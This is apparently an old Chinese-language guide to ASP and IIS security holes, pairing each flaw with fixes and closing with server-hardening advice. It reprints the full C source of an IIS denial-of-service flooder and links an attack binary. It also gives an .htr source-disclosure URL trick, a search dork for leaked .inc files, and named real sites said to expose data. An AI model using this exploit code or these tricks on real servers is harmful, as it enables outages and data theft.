如果用戶知道了一個(gè)ASP頁面的路徑和文件名,而這個(gè)文件又是要經(jīng)過驗(yàn)證才能進(jìn)去的,但是用戶直接輸入這個(gè)ASP頁面的文件名,就有可能通過繞過驗(yàn)證.比如:我在一些網(wǎng)站上這樣試過:首先關(guān)閉所有的瀏覽器,窗口,輸入: http://someurl/system_search.asp?page=1 就樣就看到了只能系統(tǒng)員才能看到的頁面。當(dāng)然有些人為了防止這種情況也會(huì)在system_search.asp的開頭加個(gè)判斷,比如:判斷session("system_name"),如果不為空時(shí)就能進(jìn)入,這樣上面的url請(qǐng)求就不能直接進(jìn)入管理員頁面了。但是這種方法也有一個(gè)漏洞,如果攻擊者先用一個(gè)合法的帳號(hào),或者在本機(jī)上生成一個(gè)session,如session("system_name")="admi",那因?yàn)閟ession("system_name")不為空,這樣也能直接進(jìn)入繞過密碼,直接進(jìn)入管理員頁面。 解決方法: 在需要驗(yàn)證的ASP頁面開頭處進(jìn)行相應(yīng)的處理。比如:可跟蹤上一個(gè)頁面的文件名,只有從上一頁面轉(zhuǎn)進(jìn)來的會(huì)話才能讀取這個(gè)頁面。 16、IIS4.0/5.0特殊數(shù)據(jù)格式的URL請(qǐng)求遠(yuǎn)程DOS攻擊 漏洞描述: 當(dāng)在安裝有有IIS4.0或者IIS5.0的web服務(wù)上,請(qǐng)求一個(gè)具有特殊數(shù)據(jù)格式的URL,會(huì)拖慢受攻擊web 服務(wù)器的響應(yīng)速度,或許會(huì)使其暫時(shí)停止響應(yīng)。 受影響的版本 Microsoft Internet Information Server 4.0 Microsoft Internet Information Server 5.0 漏洞測(cè)試程序如下: http://202.96.168.51/download/exploits/iisdos.exe 源代碼如下: http://202.96.168.51/download/exploits/iisdos.zip 測(cè)試程序: 只要打入:iisdos <***.***.**.**> 就能攻擊對(duì)方web 服務(wù)器 問題解決: Internet Information Server 4.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20906 Internet Information Server 5.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=20904 更多的信息: http://www.microsoft.com/technet/security/bulletin/ms00-030.asp Microsoft 安全公告MS00-021: http://www.microsoft.com/technet/security/bulletin/fq00-030.asp 相關(guān)連接 http://www.ussrback.com 17 IIS web server DOS 漏洞描述: 默認(rèn)情況下,IIS容易被拒絕服務(wù)攻擊。如果注冊(cè)表中有一個(gè)叫 "MaxClientRequestBuffer" 的鍵未被創(chuàng)建,針對(duì)這種NT系統(tǒng)的攻擊通常能奏效。 "MaxClientRequestBuffer" 這個(gè)鍵用于設(shè)置IIS允許接受的輸入量。如果 "MaxClientRequestBuffer" 設(shè)置為256(bytes),則攻擊者通過輸入大量的字符請(qǐng)求IIS將被限制在256字節(jié)以內(nèi)。而系統(tǒng)的缺省設(shè)置對(duì)此不加限制,因此,利用下面的程序??梢院苋菀椎貙?duì)IIS server實(shí)行DOS攻擊: #include <stdio.h> #include <windows.h> #define MAX_THREAD 666 void cng(); char *server; char *buffer; int port; int counter = 0; int current_threads = 0; int main(int argc, char **argv) { WORD tequila; WSADATA data; int p; DWORD tid; HANDLE hThread[2000]; //This code is as is and sucks as it is. Wont exit correctly and a lot of other fun things. //That I didnt want to take the time to do. So just ctrl+c out of the code. //Load up cnghack.exe 3 times for charm. printf("CNG IIS DoS.\nMarc@eEye.com\nhttp://www.eeye.com\n\"For my beloved.\"\n"); if(argc<2){ printf("Usage: %s [server] [port]\n",argv[0]); exit(1); } buffer=malloc(17500); memset( buffer, A, strlen(buffer)); server=argv[1]; port=atoi(argv[2]); tequila = MAKEWORD( 1, 1 ); printf("Attempting to start winsock... "); if( (WSAStartup(tequila, &data)) !=0 ){ printf("failed to start winsock.\n"); exit(1); } else{ printf("started winsock.\n\n"); } counter = 0; for(p = 0 ; p < MAX_THREAD ; ++p ){ hThread[counter] = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) cng, ( void * )++counter, 0, &tid); } Sleep(250); while( current_threads ) Sleep(250); counter = 0; printf("Terminated Threads.\n"); while (counter < MAX_THREAD) { TerminateThread( hThread[counter], 0 ); ++counter; } WSACleanup(); return 0; } void cng() { int SockFD=0, p; struct sockaddr_in DstSAin; char GETKILLED[]="GET / HTTP/\r\n"; int die=1; printf("Entered CNG\n"); ++current_threads; DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons((u_short)port); DstSAin.sin_addr.s_addr=inet_addr( server ); if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){ printf("Failed to create socket\n"); --current_threads; return; } if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { p=send(SockFD,GETKILLED,strlen(GETKILLED),0); printf("Step 1: %i\n", p); for(;;){ p=send(SockFD,buffer,strlen(buffer),0); printf("P: %i\n", p); //put in some code to check if send = -1 more then X times we drop the loop and exit the thread //bla bla bla i love the dirtiness of concept code. } } --current_threads; printf("Exited CNG\n"); return; } cnghack.c works by doing the following: Connects to example.com Sends: GET / HTTP/[return][buffer] Where: [return] is just an \r\n [buffer] is a never ending stream of As 攻擊結(jié)果將導(dǎo)致NT系統(tǒng)的CPU占用率達(dá)到 100% 解決方案 運(yùn)行Regedt32.exe 在: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters 增加一個(gè)值: Value Name: MaxClientRequestBuffer Data Type: REG_DWORD 設(shè)置為十進(jìn)制 具體數(shù)值設(shè)置為你想設(shè)定的IIS允許接受的URL最大長度。 18、MS ODBC數(shù)據(jù)庫連接溢出導(dǎo)致NT/9x拒絕服務(wù)攻擊 漏洞描述: Microsoft ODBC數(shù)據(jù)庫在連接和斷開時(shí)可能存在潛在的溢出問題(Microsoft ACCESS數(shù)據(jù)庫相關(guān))。 如果不取消連接而直接和第二個(gè)數(shù)據(jù)庫相連接,可能導(dǎo)致服務(wù)停止。 影響系統(tǒng): ODBC 版本: 3.510.3711.0 ODBC Access驅(qū)動(dòng)版本: 3.51.1029.00 OS 版本: Windows NT 4.0 Service Pack 5, IIS 4.0 (i386) Microsoft Office 97 Professional (MSO97.dll: 8.0.0.3507) 漏洞檢測(cè)方法如下: ODBC 連接源名稱: miscdb ODBC 數(shù)據(jù)庫型號(hào): MS Access ODBC 假設(shè)路徑: d:\data\misc.mdb ASP代碼如下: <% set connVB = server.createobject("ADODB.Connection") connVB.open "DRIVER={Microsoft Access Driver (*.mdb)}; DSN=miscdb" %> <html> <body> ...lots of html removed... <!-- We Connect to DB1 --> <% set connGlobal = server.createobject("ADODB.Connection") connGlobal.Open "DSN=miscdb;User=sa" mSQL = "arb SQL Statement" set rsGlobal = connGlobal.execute(mSQL) While not rsGlobal.eof Response.Write rsGlobal("resultfrommiscdb") rsGlobal.movenext wend rsGlobal.close set rsGlobal = nothing connGlobal.close set connGlobal = nothing Note we do NOT close the connection %> <!-- Call the same database by means of DBQ direct file access --> <% set connGlobal = server.createobject("ADODB.Connection") connGlobal.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=d:\data\misc.mdb" mSQL = "arb SQL Statement" set rsGlobal = connGlobal.execute(mSQL) While not rsGlobal.eof Response.Write rsGlobal("resultfrommiscdb") rsGlobal.movenext wend rsGlobal.close set rsGlobal = nothing connGlobal.close set connGlobal = nothing Note we DO close the connection %> 在這種情況下,IIS處理進(jìn)程將會(huì)停頓,CPU使用率由于inetinfo.exe進(jìn)程將達(dá)到100%。只有重新啟動(dòng)計(jì)算機(jī)才能恢復(fù)。 19、ASP主頁.inc文件泄露問題 漏洞描述: 受影響的版本:任何提供ASP服務(wù)的系統(tǒng) 遠(yuǎn)程:YES / 本地:YES 內(nèi)容摘要: 當(dāng)存在asp的主頁正在制作并沒有進(jìn)行最后調(diào)試完成以前,可以被某些搜索引擎機(jī)動(dòng)追加為搜索對(duì)象,如果這時(shí)候有人利用搜索引擎對(duì)這些網(wǎng)頁進(jìn)行查找,會(huì)得到有關(guān)文件的定位,并能在瀏覽器中察看到數(shù)據(jù)庫地點(diǎn)和結(jié)構(gòu)的細(xì)節(jié)揭示完整的源代碼。 具體操作過程是: - 利用搜索引擎查找包含+"Microsoft VBScript 運(yùn)行時(shí)刻錯(cuò)誤執(zhí)行搜索" +".inc ," 的關(guān)鍵字 - 搜索引擎會(huì)自動(dòng)查找包含asp的包含文件(.inc)并顯示給用戶 - 利用瀏覽器觀看包含文件的源代碼,其中可能會(huì)有某些敏感信息 漏洞的利用: 例子: - http://shopping.altavista.com/inc/lib/prep.lib 暴露數(shù)據(jù)庫連接和性質(zhì), 資源地點(diǎn), 小甜餅邏輯,服務(wù)器 IP 地址 - http://www.justshop.com/SFLib/ship.inc 暴露數(shù)據(jù)庫性質(zhì) - http://www.bbclub.com:8013/includes/general.inc 暴露 cobranding - http://www.salest.com/corporate/admin/include/jobs.inc 暴露 datafile 地點(diǎn)和結(jié)構(gòu) - http://www.bjsbabes.com/SFLib/design.inc 包括數(shù)據(jù)庫結(jié)構(gòu)為 StoreFront 2000 暴露源代碼 - http://www.ffg.com/scripts/IsSearchEngine.inc 暴露搜索引擎記錄文件 - http://www.wcastl.com/include/functions.inc 暴露成員電子郵件地址 - http://www.wcastl.com/flat/comments.txt 暴露成員私人的注釋文件 - http://www.traveler.net/two/cookies.inc 暴露 cookie 邏輯 解決方案: - 搜索引擎應(yīng)該不索引有 asp 運(yùn)行時(shí)刻錯(cuò)誤的頁 - 程序員應(yīng)該在網(wǎng)頁發(fā)布前對(duì)其進(jìn)行徹底的調(diào)試 - 安全專家需要固定 asp 包含文件以便外部的用戶不能看到它們 asp 新聞組、站點(diǎn)提供兩個(gè)解決方案對(duì)這個(gè)漏洞進(jìn)行修正,首先對(duì) .inc 文件內(nèi)容進(jìn)行加密,其次也可以使用 .asp 文件代替 .inc 文件使用戶無法從瀏覽器直接觀看文件的源代碼。.inc 文件的文件名不用使用系統(tǒng)默認(rèn)的或者有特殊含義容易被用戶猜測(cè)到的,盡量使用無規(guī)則的英文字母。 20、利用Activer server explorer可對(duì)文件進(jìn)行讀寫訪問 漏洞描述: chinaasp的Activer server explorer可以很方便的對(duì)本地文件在線查看服務(wù)器上的目錄 在線查看文件的名稱、大小、類型、修改時(shí)間,在線編輯純文本文件,如.txt、.htm、.asp、.pl、.cgi等等,直接執(zhí)行服務(wù)器上的文件。 Activer server explorer要求填寫相對(duì)路徑或者絕對(duì)路徑,但是假如:有一個(gè)攻擊者把Activer server explorer上傳到目標(biāo)服務(wù)器上的某個(gè)目錄,并且這個(gè)目錄支持ASP的話,那么他就可以通過Activer server explorer修改、執(zhí)行目標(biāo)服務(wù)器上的文件。這種情況可以發(fā)生在一個(gè)攻擊者擁有目標(biāo)NT服務(wù)器上的一個(gè)可寫目錄帳號(hào),并且這個(gè)目錄又支持ASP。比如一些支持ASP的個(gè)人免費(fèi)主頁服務(wù)器,把Activer server explorer先傳上你申請(qǐng)的免費(fèi)主頁空間,再通過各種方法得到目標(biāo)服務(wù)器的路徑,(比如可通過漏洞:"請(qǐng)求不存在的擴(kuò)展名為idq或ida 文件,會(huì)暴露文件在服務(wù)器上的物理地址.").或者直接在相對(duì)路徑上填".",一般是默認(rèn)。這樣攻擊者就能任意修改,執(zhí)行目標(biāo)服務(wù)器上的文件,不管他對(duì)這個(gè)文件有無讀寫訪問權(quán)。 所以那些提供有ASP服務(wù)的個(gè)人主頁或者其它服務(wù)的服務(wù)器,就要加倍小心這種攻擊了。 漏洞解決方法 其實(shí)Activer server explorer就是利用了上面講的漏洞 4 filesystemobject 組件篡改下載 fat 分區(qū)上的任何文件的漏洞。 那么我們?nèi)绾尾拍芟拗朴脩羰褂肍ileSystemObject對(duì)象呢?一種極端的做法是完全反注冊(cè)掉提供FileSystemObject對(duì)象的那個(gè)組件,也就是Scrrun.dll。具體的方法如下: 在MS-DOS狀態(tài)下面鍵入: Regsvr32 /u c:\windows\system\scrrun.dll (注意:在實(shí)際操作的時(shí)候要更改成為你本地的實(shí)際路徑) 但是這樣的話,就不能使用FileSystemObject對(duì)象了,有時(shí)利用FileSystemObject對(duì)象來管理文件是很方便,有什么辦法能兩全其美呢? 我們可以做到禁止他人非法使用FileSystemObject對(duì)象,但是我們自己仍然可以使用這個(gè)對(duì)象. 方法如下: 查找注冊(cè)表中 HKEY_CLASSES_ROOT\Scripting.FileSystemObject 鍵值 將其更改成為你想要的字符串(右鍵-->"重命名"),比如更改成為 HKEY_CLASSES_ROOT\Scripting.FileSystemObject2 這樣,在ASP就必須這樣引用這個(gè)對(duì)象了: Set fso = CreateObject("Scripting.FileSystemObject2") 而不能使用: Set fso = CreateObject("Scripting.FileSystemObject") 如果你使用通常的方法來調(diào)用FileSystemObject對(duì)象就會(huì)無法使用了。 只要你不告訴別人這個(gè)更改過的對(duì)象名稱,其他人是無法使用FileSystemObject對(duì)象的。這樣,作為站點(diǎn)管理者我們就杜絕了他人非法使用FileSystemObject對(duì)象,而我們自己仍然可以使用這個(gè)對(duì)象來方便的實(shí)現(xiàn)網(wǎng)站在線管理等等功能了! 21 IIS4.0/IIS5.0超長文件名請(qǐng)求存在漏洞 漏洞描述: 受影響的版本: Microsoft IIS 5.0 + Microsoft Windows NT 2000 Microsoft IIS 4.0 + Microsoft Windows NT 4.0 + Microsoft BackOffice 4.5 - Microsoft Windows NT 4.0 + Microsoft BackOffice 4.0 - Microsoft Windows NT 4.0 當(dāng)在一個(gè)已知的文件名后加230個(gè)"%20"再加個(gè).htr,會(huì)使安裝有Microsoft IIS 4.0/5.0泄漏該文件的內(nèi)容。這是由ISM.dll映射的.htr文件引起的.比如: http://target/filename%20<重復(fù)230次>.htr 這種請(qǐng)求只有當(dāng).htr請(qǐng)求是第一次調(diào)用或者ISM.dll第一次裝載進(jìn)內(nèi)存,才能起作用。 解決方法: 安裝補(bǔ)丁 Microsoft IIS 5.0: http://download.microsoft.com/download/win2000platform/Patch/Q249599/NT5/EN-US/Q249599_W2K_SP1_X86_en.EXE Microsoft IIS 4.0: http://download.microsoft.com/download/iis40/Patch/Q260838/NT4ALPHA/EN-US/ismpst4i.exe 22 ASP編輯器會(huì)自動(dòng)備份asp文件,會(huì)被下載的漏洞 漏洞描述: 在有些編輯asp程序的工具,當(dāng)創(chuàng)建或者修改一個(gè)asp文件時(shí),編輯器自動(dòng)創(chuàng)建一個(gè)備份文件,比如:UltraEdit就會(huì)備份一個(gè)..bak文件,如你創(chuàng)建或者修改了some.asp,編輯器自動(dòng)生成一個(gè)叫some.asp.bak文件,如果你沒有刪除這個(gè)bak文件,攻擊有可以直接下載some.asp.bak文件,這樣some.asp的源程序就會(huì)給下載。 六 ASP安全建議 如何設(shè)置才能使ASP更加安全呢?以下我們重點(diǎn)來談?wù)凙SP安全方面要注意的問題。我們?cè)诘谖宀糠?ASP漏洞和解決方法"中針對(duì)某些漏洞,也提出了相應(yīng)的安全建議,這部分就不再重復(fù)。 在這部分的后面還要介紹些可掃描ASP漏洞的工具。 1 安裝NT最新的補(bǔ)丁 目前最新的補(bǔ)丁是NT Option Pack 6.0.,微軟的主頁有最新的補(bǔ)丁。一般來說微軟都會(huì)及時(shí)的公布最新的漏洞和補(bǔ)丁。目前IIS最新是5.0。windows2000自帶IIS5.0. IIS 5.0新功能如下: 安全性上:包括摘要式驗(yàn)證、整合的Windows驗(yàn)證、SGC (Server-Gated Cryptography ) 、Microsoft Certificate Services 2.0、集區(qū)處理程序之程序保護(hù)等。 管理上:包括IIS重新激活、站臺(tái)CPU使用時(shí)間的限制、CPU資源使用記錄、使用終端機(jī)服務(wù)遠(yuǎn)程管理IIS、自訂錯(cuò)誤訊息等。 Internet標(biāo)準(zhǔn)上:包括WebDAV(Web Distributed Authoring and Versioning)、FTP重新激活、HTTP壓縮等。 Active Server Pages:包括新的轉(zhuǎn)向方法(Server.Transfer與Server.Execute方法)、新的錯(cuò)誤處理功能 (Server.GetLastError方法)、無指令.asp的執(zhí)行速度增快、可安裝組件的效能調(diào)升、Scriptlet支持、使用cookie取得瀏覽器信息、自動(dòng)增減執(zhí)行緒(executing threads)、SRC服務(wù)器端包含功能、Script Encoder編碼保護(hù)等。 更具體的功能介紹請(qǐng)參見其它資料。 2 關(guān)閉沒有用的服務(wù)和協(xié)議 "盡量少開沒用到的服務(wù)",這永遠(yuǎn)是網(wǎng)絡(luò)安全的準(zhǔn)則。如果開啟了某個(gè)服務(wù),你就要面對(duì)不少的漏洞困擾,更重要的是你還要時(shí)時(shí)提防未來的由這個(gè)服務(wù)所引起的漏洞。 比如,你不使用ftp,那就把FTP關(guān)了,不然你就要發(fā)費(fèi)大量的精力和金錢去應(yīng)付那些什么DOS,緩沖區(qū)溢出之類的漏洞。NETBIOS也是windows的一大安全隱患,我想目前服務(wù)器很少需要Netbios。再如你的IIS安裝了index server 服務(wù),那你至少要面對(duì)三個(gè)以上的有關(guān)這個(gè)服務(wù)的漏洞,因此如果你沒用到INDEX SERVER服務(wù),也大可刪除他. 同樣的道理,我們要安裝最少的協(xié)議。千萬不要安裝點(diǎn)對(duì)點(diǎn)通道通訊協(xié)議。此外,還必須小心地配置TCP/IP協(xié)議。在TCP/IP的屬性頁中選擇"IP地址"項(xiàng)目,然后選擇"高級(jí)"。在彈出來的對(duì)話框中選擇"安全機(jī)制",這樣你可以禁止UDP,然后開啟IP端口6和TCP端口80。當(dāng)然開不開這些端口主要是看你的情況了。 IIS中的應(yīng)用程序映射也是個(gè)很大的安全漏洞,請(qǐng)?jiān)贗IS中設(shè)置好擴(kuò)展名和可執(zhí)行路徑,刪除沒用的擴(kuò)展名。 3 設(shè)置好你的NT NT缺省安裝時(shí),系統(tǒng)賬號(hào)Administrator和Guest被自動(dòng)設(shè)置,很多攻擊者就是利用這些賬號(hào)來猜密碼,從而進(jìn)入你的系統(tǒng)。雖然沒有足夠的耐心,很難猜中這些密碼,但是為了安全起見,建議把這些賬號(hào)重新命名或者刪除。 NT SERVER的系統(tǒng)策略編輯器非常有用。按"管理工具"->"系統(tǒng)策略編輯器"就可以進(jìn)入,然后選擇"文件"->"打開注冊(cè)表",并選擇"本地計(jì)算機(jī)"圖標(biāo),就可以認(rèn)真配置了。主要設(shè)置以下幾項(xiàng): 1. 取消:網(wǎng)絡(luò)->系統(tǒng)規(guī)則更新->遠(yuǎn)程更新 2. 取消:WINDOWS NT網(wǎng)絡(luò)->共享->創(chuàng)建隱藏的驅(qū)動(dòng)器共享 3. 設(shè)置:Windows NT遠(yuǎn)程訪問下面的各項(xiàng) 4. 設(shè)置:Windows NT系統(tǒng)->登錄中各個(gè)項(xiàng)目。包括設(shè)置登錄標(biāo)記;不允許從"身份驗(yàn)證對(duì)話框"關(guān)機(jī);不顯示上次登錄的用戶名. 5. 設(shè)置:WINDOWS NT系統(tǒng)->文件系統(tǒng)中的"不為長文件名創(chuàng)建8.3文件名" 不要使用遠(yuǎn)程管理軟件,除非不得已。由于NT不太支持遠(yuǎn)程管理,所以你可能會(huì)安裝Reachout或者PC anywhere來管理??墒牵?dāng)你安裝了這些軟件,你就不得不開啟TCP/IP的所有端口。 在你離開服務(wù)器的時(shí)候,請(qǐng)按"Ctrl+del+alt",并選擇"鎖定工作站"。 4 磁盤文件格式使用比較安全的NTFS格式 NTFS 權(quán)限是 Web 服務(wù)器安全性的基礎(chǔ),它定義了一個(gè)或一組用戶訪問文件和目錄的不同級(jí)別。當(dāng)擁有 Windows NT 有效帳號(hào)的用戶試圖訪問一個(gè)有權(quán)限限制的文件時(shí),計(jì)算機(jī)將檢查文件的 訪問控制表 (ACL)。該表定義了不同用戶和用戶組 所被賦予的權(quán)限。例如,Web 服務(wù)器上的 Web 應(yīng)用程序的所有者需要有"更改"權(quán)限來查看、更改和刪除應(yīng)用程序的 .asp 文件。但是,訪問該應(yīng)用程序的公共用戶應(yīng)僅被授予"只讀"權(quán)限,以便將其限制為只能查看而不能更改應(yīng)用程序的 Web 頁。 5 對(duì)目錄設(shè)置不同的屬性,如:Read、Excute、Script 您可以通過配置您的 Web 服務(wù)器的權(quán)限來限制所有用戶查看、運(yùn)行和操作您的ASP 頁的方式。不同于 NTFS 權(quán)限提供的控制特定用戶對(duì)應(yīng)用程序文件和目錄的訪問方式, Web 服務(wù)器權(quán)限應(yīng)用于所有用戶,并且不區(qū)分用戶帳號(hào)的類型。 對(duì)于要運(yùn)行您的 ASP 應(yīng)用程序的用戶,在設(shè)置 Web 服務(wù)器權(quán)限時(shí),必須遵循下列原則: 對(duì)包含 .asp 文件的虛擬目錄允許"讀"或"腳本"權(quán)限。 對(duì) .asp 文件和其他包含腳本的文件(如 .htm 文件等)所在的虛目錄允許"讀"和"腳本"權(quán)限。 對(duì)包含 .asp 文件和其他需要"執(zhí)行"權(quán)限才能運(yùn)行的文件(如 .exe 和 .dll 文件等)的虛目錄允許"讀"和"執(zhí)行"權(quán)限。 6 維護(hù) Global.asa 的安全 為了充分保護(hù) ASP 應(yīng)用程序,一定要在應(yīng)用程序的 Global.asa 文件上為適當(dāng)?shù)挠脩艋蛴脩艚M設(shè)置 NTFS 文件權(quán)限。 如果 Global.asa 包含向?yàn)g覽器返回信息的命令而您沒有保護(hù) Global.asa 文件,則信息將被返回給瀏覽器,即便應(yīng)用程序的其他文件被保護(hù)。 7 不要把密碼,物理路徑直接寫在程序中 很難保證您的ASP程序是否會(huì)給人拿到,即使你安裝了最新的補(bǔ)丁。為 了安全起見,應(yīng)該把密碼和用戶名保存在數(shù)據(jù)庫中,使用虛擬路徑。 8 在程序中記錄用戶的詳細(xì)信息 這些信息包括用戶的瀏覽器、用戶停留的時(shí)間,用戶IP等。其中 記錄IP是最有用的。 可用下面的語句了解客戶端和服務(wù)端的信息: <Table><%for each name in request.servervariables%> <tr><td><%=name%>:</td> <td><%=request.servervariables(name)%></td> </tr> <%next%></table> 如果我們可以記錄了用戶的IP,就能通過追捕來查用戶的具體地點(diǎn)。 當(dāng)然如果用戶通過代理來瀏覽網(wǎng)頁,上面的方法只能看到用戶代理的IP,而不能記錄用戶真實(shí)的IP。ASP沒有提供查看客戶端網(wǎng)卡物理地址(即MAC)的功能。 9 Cookie 安全性 ASP 使用 SessionID cookie 跟蹤應(yīng)用程序訪問或會(huì)話期間特定的 Web 瀏覽器的信息。這就是說,帶有相應(yīng)的 cookie 的 HTTP 請(qǐng)求被認(rèn)為是來自同一 Web 瀏覽器。Web 服務(wù)器可以使用 SessionID cookies 配置帶有用戶特定會(huì)話信息的 ASP 應(yīng)用程序。例如,如果您的應(yīng)用程序是一個(gè)允許用戶選擇和購買 CD 唱盤的聯(lián)機(jī)音樂商店,就可以用 SessionID 跟蹤用戶漫游整個(gè)應(yīng)用程序時(shí)的選擇。 SessionID 能否被黑客猜中? 為了防止計(jì)算機(jī)黑客猜中 SessionID cookie 并獲得對(duì)合法用戶的會(huì)話變量的訪問,Web 服務(wù)器為每個(gè) SessionID 指派一個(gè)隨機(jī)生成號(hào)碼。每當(dāng)用戶的 Web 瀏覽器返回一個(gè) SessionID cookie 時(shí),服務(wù)器取出 SessionID 和被賦予的數(shù)字,接著檢查是否與存儲(chǔ)在服務(wù)器上的生成號(hào)碼一致。若兩個(gè)號(hào)碼一致,將允許用戶訪問會(huì)話變量。這一技術(shù)的有效性在于被賦予的數(shù)字的長度(64 位),此長度使計(jì)算機(jī)黑客猜中 SessionID 從而竊取用戶的活動(dòng)會(huì)話的可能性幾乎為 0。 加密重要的 SessionID Cookie. 截獲了用戶 sessionID cookie 的計(jì)算機(jī)黑客可以使用此 cookie 假冒該用戶。如果 ASP 應(yīng)用程序包含私人信息,信用卡或銀行帳戶號(hào)碼,擁有竊取的 cookie 的計(jì)算機(jī)黑客就可以在應(yīng)用程序中開始一個(gè)活動(dòng)會(huì)話并獲取這些信息。您可以通過對(duì)您的 Web 服務(wù)器和用戶的瀏覽器間的通訊鏈路加密來防止 SessionID cook ie 被截獲。 10 使用身份驗(yàn)證機(jī)制保護(hù)被限制的 ASP 內(nèi)容 可以要求每個(gè)試圖訪問被限制的 ASP 內(nèi)容的用戶必須要有有效的 Windows NT帳號(hào)的用戶名和密碼。每當(dāng)用戶試圖訪問被限制的內(nèi)容時(shí),Web 服務(wù)器將進(jìn)行身份驗(yàn)證,即確認(rèn)用戶身份,以檢查用戶是否擁有有效的 Windows NT 帳號(hào)。 Web 服務(wù)器支持以下幾種身份驗(yàn)證方式: 基本身份驗(yàn)證 提示用戶輸入用戶名和密碼。 Windows NT 請(qǐng)求/響應(yīng)式身份驗(yàn)證,從用戶的 Web 瀏覽器通過加密方式獲取用戶身份信息。 然而,Web 服務(wù)器僅當(dāng)禁止匿名訪問或 Windows NT 文件系統(tǒng)的權(quán)限限制匿名訪問時(shí)才驗(yàn)證用戶 11 保護(hù)源數(shù)據(jù)庫 訪問源數(shù)據(jù)庫的 ASP 腳本需要 Web 服務(wù)器所運(yùn)行的計(jì)算機(jī)的管理員權(quán)限。在從遠(yuǎn)程計(jì)算機(jī)上運(yùn)行這些腳本時(shí),須經(jīng)已通過身份驗(yàn)證的連接,如使用 Windows NT 請(qǐng)求/響應(yīng)驗(yàn)證方式進(jìn)行連接。應(yīng)該為管理級(jí) .asp 文件創(chuàng)建一個(gè)服務(wù)器或目錄并將其目錄安全驗(yàn)證方式設(shè)置為 Windows NT 請(qǐng)求/響應(yīng)式身份驗(yàn)證。目前,僅 Microsoft Internet Explorer version 2.0 或更高版本支持 Windows NT 請(qǐng)求響應(yīng)式身份驗(yàn)證。 12 使用 SSL 維護(hù)應(yīng)用程序的安全 SSL (Secure Sockets Layer)協(xié)議是由Netscape首先發(fā)表的網(wǎng)絡(luò)資料安全傳輸協(xié)定,其首要目的是在兩個(gè)通信間提供秘密而可靠的連接。該協(xié)議由兩層組成,底層是建立在可靠的傳輸協(xié)議(例如:TCP)上的是SSL的記錄層,用來封裝高層的協(xié)議。SSL握手協(xié)議準(zhǔn)許服務(wù)器端與客戶端在開始傳輸數(shù)據(jù)前,能夠通過特定的加密算法相互鑒別。SSL的先進(jìn)之處在于它是一個(gè)獨(dú)立的應(yīng)用協(xié)議,其它更高層協(xié)議能夠建立在SSL協(xié)議上。 SSL3.0 協(xié)議作為 Web 服務(wù)器安全特性,提供了一種安全的虛擬透明方式來建立與用戶的加密通訊連接。SSL 保證了 Web 內(nèi)容的驗(yàn)證,并能可靠地確認(rèn)訪問被限制的 Web 站點(diǎn)的用戶的身份。 通過 SSL,您可以要求試圖訪問被限制的 ASP 應(yīng)用程序的用戶與您的服務(wù)器建立一個(gè)加密連接;以防用戶與應(yīng)用程序間交換的重要信息被截取。 比如好多基于WEB的ASP論壇都會(huì)提供注冊(cè)用戶互相發(fā)送信息的服務(wù),這種信息是明文傳送的,如果在網(wǎng)吧就很容易給人監(jiān)聽到。如果加了一層SSL認(rèn)證,就會(huì)防止發(fā)送信息被監(jiān)聽的可能。 13 客戶資格認(rèn)證 控制對(duì)您的 ASP 應(yīng)用程序訪問的一種十分安全的方法是要求用戶使用 客戶資格登錄??蛻糍Y格是包含用戶身份信息的數(shù)字身份證,它的作用與傳統(tǒng)的諸如護(hù)照或駕駛執(zhí)照等身份證明相同。用戶通常從委托的第三方組織獲得客戶資格,第三方組織在發(fā)放資格證之前確認(rèn)用戶的身份信息。(通常,這類組織要求姓名、地址、電話號(hào)碼及所在組織名稱;此類信息的詳細(xì)程度隨給予的身份等級(jí)而異。) 每當(dāng)用戶試圖登錄到需要資格驗(yàn)證的應(yīng)用程序時(shí),用戶的 Web 瀏覽器會(huì)自動(dòng)向服務(wù)器發(fā)送用戶資格。如果 Web 服務(wù)器的 Secure Sockets Layer (SSL) 資格映射特性配置正確,那么服務(wù)器就可以在許可用戶對(duì) ASP 應(yīng)用程序訪問之前對(duì)其身份進(jìn)行確認(rèn)。 作為 ASP 應(yīng)用程序開發(fā)人員,您可以編寫腳本來檢查資格是否存在并讀取資格字段。例如,您可以從資格證明中訪問用戶名字段和公司名字段。Active Server Pages 在 Request 對(duì)象的 ClientCertificate 集合中保存資格信息。 必須將 Web 服務(wù)器配置為接受或需要客戶資格,然后才能通過 ASP 處理客戶資格;否則,ClientCertificate 集合將為空。 14 ASP的加密 由于ASP腳本是采用明文(plain text)方式來編寫的,所以應(yīng)用開發(fā)商辛苦開發(fā)出來的ASP應(yīng)用程序,一旦發(fā)布到運(yùn)行環(huán)境中去后,就很難確保這些"源代碼"不會(huì)被流傳出去。這樣就產(chǎn)生了如何有效地保護(hù)開發(fā)出來的ASP腳本源代碼的需求。 官方加密程序:從微軟免費(fèi)下載到sce10chs.exe 直接運(yùn)行即可完成安裝過程。安裝完畢后,將生成screnc.exe文件,這是一個(gè)運(yùn)行在DOS PROMAPT的命令工具。 運(yùn)行screnc - l vbscript source.asp destination.asp生成包含密文ASP腳本的新文件destination.asp用記事本打開看凡是"<%和%>"之內(nèi)的,不管是否注解,都變成不可閱讀的密文了,但無法加密中文。 幾種ASP源代碼保護(hù)方法: 1,"腳本最小化"即ASP文件中只編寫盡可能少的源代碼,實(shí)現(xiàn) 商業(yè)邏輯的腳本部分被封裝到一個(gè)COM/DCOM組件,并在ASP腳 本中創(chuàng)建該組件,進(jìn)而調(diào)用相應(yīng)的方法(methed)即可。應(yīng)用開發(fā)者 動(dòng)手開發(fā)ASP腳本應(yīng)用之前就可按此思路來開發(fā),或者直接用ASP 腳本快速開發(fā)出原型系統(tǒng)后,針對(duì)需要保護(hù)、加密的重要腳本用 COM/DCOM組件來重新開發(fā)、實(shí)現(xiàn)并替換。 